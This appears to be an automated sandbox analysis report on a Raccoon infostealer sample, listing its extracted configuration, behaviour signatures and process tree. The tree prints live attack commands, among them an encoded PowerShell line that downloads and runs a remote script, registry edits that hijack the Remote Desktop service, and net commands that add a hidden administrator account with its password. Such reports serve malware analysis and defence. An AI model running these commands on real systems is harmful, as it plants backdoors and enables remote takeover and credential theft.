Analysis

  • max time kernel
    71s
  • max time network
    113s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    02/06/2021, 17:28

General

  • Target
    8034b47213cc5f5fc1395f718a55c4da.exe
  • Size 568KB
  • Sample210602-18bxfaa2ee
  • SHA256 ea90f2f71597051b8c34698de10bb1ce8ed996c65654fd5fdcb5440e18c716d4
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family
  • raccoon

Botnet
  • e46634757936706c1ff491585768dd6fe231db30

Attributes
  • url4cnc

    https://tttttt.me/jdiamond13

rc4.plain
rc4.plain

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 8 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8034b47213cc5f5fc1395f718a55c4da.exe
    "C:\Users\Admin\AppData\Local\Temp\8034b47213cc5f5fc1395f718a55c4da.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:3904
    • C:\Users\Admin\AppData\Local\Temp\6jY9qdeTN6.exe
      "C:\Users\Admin\AppData\Local\Temp\6jY9qdeTN6.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3448
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
        3⤵
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3876
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rg1mkqhy\rg1mkqhy.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3516
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES89A8.tmp" "c:\Users\Admin\AppData\Local\Temp\rg1mkqhy\CSCF82D7AE5C90C447AA0236D59EB5AFDA7.TMP"
            5⤵
              PID:3680
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1396
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2640
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3344
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
            4⤵
              PID:4008
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
              4⤵
              • Modifies registry key
              PID:2332
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
              4⤵
                PID:4084
              • C:\Windows\system32\net.exe
                "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:3868
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                  5⤵
                    PID:1292
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2464
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2252
                    • C:\Windows\system32\net.exe
                      net start rdpdr
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3732
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        7⤵
                          PID:2104
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1476
                    • C:\Windows\system32\cmd.exe
                      cmd /c net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2636
                      • C:\Windows\system32\net.exe
                        net start TermService
                        6⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2496
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 start TermService
                          7⤵
                            PID:3680
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                      4⤵
                        PID:3544
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                        4⤵
                          PID:3284
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\8034b47213cc5f5fc1395f718a55c4da.exe"
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3716
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout /T 10 /NOBREAK
                        3⤵
                        • Delays execution with timeout.exe
                        PID:3936
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user wgautilacc Ghar4f5 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1888
                    • C:\Windows\system32\net.exe
                      net.exe user wgautilacc Ghar4f5 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4088
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                        3⤵
                          PID:3356
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user wgautilacc utEG4ofX /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3748
                      • C:\Windows\system32\net.exe
                        net.exe user wgautilacc utEG4ofX /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:588
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user wgautilacc utEG4ofX /add
                          3⤵
                            PID:3988
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1824
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4004
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                            3⤵
                              PID:1148
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3716
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3756
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                              3⤵
                                PID:2292
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2284
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                              2⤵
                                PID:2120
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                  3⤵
                                    PID:3056
                              • C:\Windows\System32\cmd.exe
                                cmd /C net.exe user wgautilacc utEG4ofX
                                1⤵
                                  PID:3736
                                  • C:\Windows\system32\net.exe
                                    net.exe user wgautilacc utEG4ofX
                                    2⤵
                                      PID:3180
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 user wgautilacc utEG4ofX
                                        3⤵
                                          PID:1396
                                    • C:\Windows\System32\cmd.exe
                                      cmd.exe /C wmic path win32_VideoController get name
                                      1⤵
                                        PID:4068
                                        • C:\Windows\System32\Wbem\WMIC.exe
                                          wmic path win32_VideoController get name
                                          2⤵
                                            PID:940
                                        • C:\Windows\System32\cmd.exe
                                          cmd.exe /C wmic CPU get NAME
                                          1⤵
                                            PID:4076
                                            • C:\Windows\System32\Wbem\WMIC.exe
                                              wmic CPU get NAME
                                              2⤵
                                                PID:2708
                                            • C:\Windows\System32\cmd.exe
                                              cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                              1⤵
                                                PID:2120
                                                • C:\Windows\system32\cmd.exe
                                                  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                  2⤵
                                                    PID:3056
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                      3⤵
                                                      • Blocklisted process makes network request
                                                      • Drops file in Program Files directory
                                                      • Drops file in Windows directory
                                                      • Modifies data under HKEY_USERS
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:2044
                                                • C:\Windows\System32\cmd.exe
                                                  cmd.exe /C net user wgautilacc 1234
                                                  1⤵
                                                    PID:648
                                                    • C:\Windows\system32\net.exe
                                                      net user wgautilacc 1234
                                                      2⤵
                                                        PID:1888
                                                        • C:\Windows\system32\net1.exe
                                                          C:\Windows\system32\net1 user wgautilacc 1234
                                                          3⤵
                                                            PID:2708

                                                      Network

                                                            MITRE ATT&CK Enterprise v6

                                                            Replay Monitor

                                                            Loading Replay Monitor...

                                                            Downloads

                                                            memory/1396-181-0x000001DA496B0000-0x000001DA496B2000-memory.dmp

                                                            memory/1396-182-0x000001DA496B3000-0x000001DA496B5000-memory.dmp

                                                            memory/1396-203-0x000001DA496B6000-0x000001DA496B8000-memory.dmp

                                                            memory/1396-213-0x000001DA496B8000-0x000001DA496BA000-memory.dmp

                                                            memory/2044-255-0x000001EF717A3000-0x000001EF717A5000-memory.dmp

                                                            memory/2044-254-0x000001EF717A0000-0x000001EF717A2000-memory.dmp

                                                            memory/2044-256-0x000001EF717A6000-0x000001EF717A8000-memory.dmp

                                                            memory/2044-257-0x000001EF717A8000-0x000001EF717A9000-memory.dmp

                                                            memory/2640-214-0x000001407F360000-0x000001407F362000-memory.dmp

                                                            memory/2640-217-0x000001407F366000-0x000001407F368000-memory.dmp

                                                            memory/2640-215-0x000001407F363000-0x000001407F365000-memory.dmp

                                                            memory/3344-218-0x0000020969380000-0x0000020969382000-memory.dmp

                                                            memory/3344-221-0x0000020969388000-0x000002096938A000-memory.dmp

                                                            memory/3344-220-0x0000020969386000-0x0000020969388000-memory.dmp

                                                            memory/3344-219-0x0000020969383000-0x0000020969385000-memory.dmp

                                                            memory/3448-132-0x000001DA6A586000-0x000001DA6A587000-memory.dmp

                                                            memory/3448-127-0x000001DA6CBD0000-0x000001DA6CFF1000-memory.dmp

                                                            memory/3448-129-0x000001DA6A580000-0x000001DA6A582000-memory.dmp

                                                            memory/3448-131-0x000001DA6A585000-0x000001DA6A586000-memory.dmp

                                                            memory/3448-130-0x000001DA6A583000-0x000001DA6A585000-memory.dmp

                                                            memory/3876-141-0x0000018D32700000-0x0000018D32701000-memory.dmp

                                                            memory/3876-157-0x0000018D32050000-0x0000018D32051000-memory.dmp

                                                            memory/3876-145-0x0000018D320A3000-0x0000018D320A5000-memory.dmp

                                                            memory/3876-144-0x0000018D320A0000-0x0000018D320A2000-memory.dmp

                                                            memory/3876-164-0x0000018D32C30000-0x0000018D32C31000-memory.dmp

                                                            memory/3876-138-0x0000018D32000000-0x0000018D32001000-memory.dmp

                                                            memory/3876-165-0x0000018D32FC0000-0x0000018D32FC1000-memory.dmp

                                                            memory/3876-222-0x0000018D320A8000-0x0000018D320A9000-memory.dmp

                                                            memory/3876-159-0x0000018D320A6000-0x0000018D320A8000-memory.dmp

                                                            memory/3904-114-0x0000000002150000-0x00000000021E1000-memory.dmp

                                                            memory/3904-115-0x0000000000400000-0x0000000000496000-memory.dmp